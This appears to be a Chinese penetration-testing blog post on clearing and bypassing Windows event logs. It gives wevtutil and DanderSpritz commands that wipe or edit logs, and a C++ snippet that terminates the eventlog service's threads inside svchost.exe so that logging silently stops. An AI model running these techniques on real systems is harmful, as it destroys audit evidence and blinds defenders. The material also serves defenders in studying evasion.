渗透技巧——Windows 日志的删除与绕过

发布于 2025-02-23 13:27:47 字数 7145 浏览 6 评论 0

0x00 前言

在渗透测试过程中,Windows 日志往往会记录系统上的敏感操作,如添加用户,远程登录执行等。

对于一次完整的渗透测试,通常会选择对 Windows 日志进行清除和绕过,而对于防御者来说,了解常用的绕过方法也有助于更好的保护自己的系统。

所以本文将要介绍常见的 Windows 日志清除与绕过方法,分享经验,帮助大家。

0x01 简介

本文将要介绍以下内容:

  • Windows 日志的常用清除方法
  • Windows 日志的两种绕过方法

0x02 Windows 日志

Windows 日志包括五个类别:

  • 应用程序
  • 安全
  • Setup
  • 系统
  • 转发事件

查看方式:

1、 通过面板

位置如下:

Control Panel\System and Security-View event logs-Windows Logs

如下图

Alt text

2、 通过 Powershell

常用命令如下:

(管理员权限)

查看所有日志:

Get-WinEvent

查看应用程序类别下的日志:

Get-WinEvent -FilterHashtable @{logname="Application";}

0x03 Windows 日志的常用清除方法

1、wevtutil.exe

操作系统默认包含,支持系统:Win7 及以上

常用命令如下:

(1) 统计日志列表,查询所有日志信息,包含时间,数目

wevtutil.exe gli Application

操作如下图

Alt text

(2) 查看指定类别的日志内容

wevtutil qe /f:text Application

操作如下图

Alt text

(3) 删除该类日志所有内容

wevtutil cl Application

操作如下图

Alt text

Application 日志全部清除,数目为 0

(4) 删除单条内容

尚不支持

2、NSA DanderSpiritz

DanderSpritz 是 NSA 的一款界面化的远控工具

常用命令如下:

(1) 统计日志列表,查询所有日志信息,包含时间,数目

eventlogquery -log Application

(2) 查看指定类别的日志内容

eventlogfilter -log Application -num 10

(3) 删除该类日志所有内容

eventlogclear -log Application

(4) 删除单条内容

eventlogedit -log Application -record 1

注:record 序号可通过 eventlogfilter 获得

0x04 Windows 日志的绕过方法

本文介绍的思路参考自 Halil Dalabasmaz@hlldz 的文章,地址如下:https://artofpwn.com/phant0m-killing-windows-event-log.html

绕过原理:

Windows 日志对应于 eventlog 服务,找到该服务对应的进程 svchost.exe,进而筛选出 svchost.exe 进程中具体实现日志功能的线程,调用 TerminateThread 结束线程,破坏日志记录功能

特别的地方:

由于只结束了实现日志功能的线程,所以 Windows Event Log 服务没有被破坏,状态仍为正在运行

绕过方法一

1、 定位 eventlog 服务对应进程 svchost.exe 的 pid

2、 遍历该进程中的所有线程

3、 判断线程是否满足条件

Windows Event Log 服务需要调用 wevtsvc.dll,完整路径为 %WinDir%\System32\wevtsvc.dll

并且,如果线程调用了 wevtsvc.dll,就可以判读该线程实现了日志记录功能

4、 结束线程

使用 TerminateThread

注:Halil Dalabasmaz@hlldz 使用 powershell 实现了方法一,完整代码可参考:https://github.com/hlldz/Invoke-Phant0m

powershell 脚本执行后,Windows 日志功能失效,无法记录日志,操作如下图

Alt text

5、 恢复方法

结束进程 svchost.exe

重新开启 Windows Event Log 服务:

net start eventlog

操作如下图

Alt text

绕过方法二

1、 定位 eventlog 服务对应进程 svchost.exe 的 pid

powershell 代码如下:

Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

找到 svchost.exe 的 pid 为 7008,如下图

Alt text

2、 遍历该进程中的所有线程

使用 PsList

下载地址:https://technet.microsoft.com/en-us/sysinternals/bb896682.aspx

具体参数如下:

pslist.exe /accepteula -d 7008

获取进程 svchost.exe 中的所有线程,如下图

Alt text

3、 判断线程是否满足条件

获取线程对应的服务,如果为 eventlog,则满足条件

使用工具:ScTagQuery

下载地址:http://www.winsiderss.com/tools/sctagquery/sctagqry.zip

具体参数如下:

sctagqry.exe -t 7928

根据返回的结果 Service Tag,判断线程对应的服务

找到对应 eventlog 的线程,如下图

Alt text

线程 8136 符合条件,依次尝试,直到获取所有符合条件线程

注:使用 Process Explorer 可以简化此过程,找到 eventlog 服务对应进程 svchost.exe

如下图

Alt text

右键查看属性,选择 Threads 标签,查看线程,可直接获得线程对应的服务

如下图

Alt text

符合条件的线程 TID 为:

  • 8136
  • 8052
  • 6708
  • 2316
  • 6356

4、 结束线程

调用 TerminateThread

通过 c++实现,部分代码如下:

int main(int argc, char* argv[])
{    
    printf("TerminateThread TID:\n");       
    for(int i=1;i<argc;i++)
    {    
        printf("%s\n",argv[i]);
        HANDLE hThread = OpenThread(0x0001, FALSE,atoi(argv[i]));
        if(TerminateThread(hThread,0)==0)
            printf("[!] TerminateThread Error, TID: %s \n",argv[i]);
        CloseHandle(hThread);
    }  
    return 0;
}

完整代码已上传至 github,地址如下:https://github.com/3gstudent/Windwos-EventLog-Bypass/blob/master/TerminateEventLogThread.cpp

控制台支持传入多个参数,向其传入 5 个 TID: 8136 8052 6708 2316 6356

自动结束对应线程,日志功能失效

具体操作如下图

Alt text

注:稍后我会在 github 上更新该绕过方法的完整实现代码,地址如下:https://github.com/3gstudent/Windwos-EventLog-Bypass

0x05 补充

1、安装 sysmon 可对 Windows 日志功能进行扩展

2、绕过方法仅针对 Windows 日志

对应用程序和服务日志失效,例如 Windows Powershell

如下图

Alt text

0x06 小结

本文对 Windows 日志的清除和绕过方法做了介绍,希望能够帮助大家,接下来会分享绕过方法二的具体程序实现方法。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

故事↓在人

暂无简介

文章
评论
29 人气
更多

推荐作者

闻呓

文章 0 评论 0

深府石板幽径

文章 0 评论 0

mabiao

文章 0 评论 0

枕花眠

文章 0 评论 0

qq_CrTt6n

文章 0 评论 0

红颜悴

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文